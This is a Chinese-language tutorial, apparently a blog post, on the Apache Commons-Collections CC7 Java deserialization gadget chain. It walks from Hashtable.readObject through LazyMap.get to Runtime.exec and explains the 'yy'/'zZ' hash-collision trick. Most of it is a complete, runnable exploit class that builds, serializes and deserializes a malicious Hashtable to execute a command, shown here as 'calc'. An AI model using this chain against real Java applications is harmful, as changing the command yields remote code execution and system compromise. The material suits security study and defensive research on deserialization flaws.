Java反序列化Commons-Collections篇-CC7链
前言
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
CC7链是以Hashtable.readObject()为入口类,再通过AbstractMap.equals()触发LazyMap.decorate,后面的链子就是CC1链的后半部分。
构建链子
先写CC1链的后半部分。
public class CC7 {
public static void main(String[] args)throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap<>();
Map decorate=LazyMap.decorate(hashMap,chainedTransformer);
Class cl=LazyMap.class;
Method method=cl.getDeclaredMethod("get",Object.class);
method.setAccessible(true);
method.invoke(decorate,chainedTransformer);
}
}
然后继续构造后半部分的链子
这里的触发点首先要先满足(e.hash == hash)这个条件,
首先说结论Hashtable是一个桶排加单向链表的结构。
先分析一下此Entry类
这是一个链表,hash存储键的哈希码的缓存值,key存储键对象,value存储值对象,Entry<K,V>next是指向下一个Entry的指针,这就构成了一个单向链表的结构。
而int index = (hash & 0x7FFFFFFF) % tab.length;
这一语句则规定了桶排的规则,根据hash值来排,如果利用hash值计算的index值相同,则通过tab[index]链接,相同index的构成一条链子,在头部插入。
所以这里为了满足(e.hash == hash)要引入两个值,并且它们的hash值要相同
这里就想到yy和zZ,这两个值的hash值相同,所以两个lazymap分别put这两个值。
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new StreamCorruptedException();
}
}
为什么要lazyMap2.remove("yy");
如果 lazyMap2
中不存在 "yy" 键,get("yy")
会:调用 factory.transform("yy")
(触发恶意代码)
所以这里要remove一下。
最终exp
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args)throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(new Transformer[0]);
HashMap<Object, Object> innermap1=new HashMap<>();
HashMap<Object, Object> innermap2=new HashMap<>();
Map lazyMap1=LazyMap.decorate(innermap1,chainedTransformer);
lazyMap1.put("yy",1);
Map lazyMap2=LazyMap.decorate(innermap2,chainedTransformer);
lazyMap2.put("zZ",1);
Hashtable hashtable=new Hashtable<>();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, transformers);
lazyMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结
License:
CC BY 4.0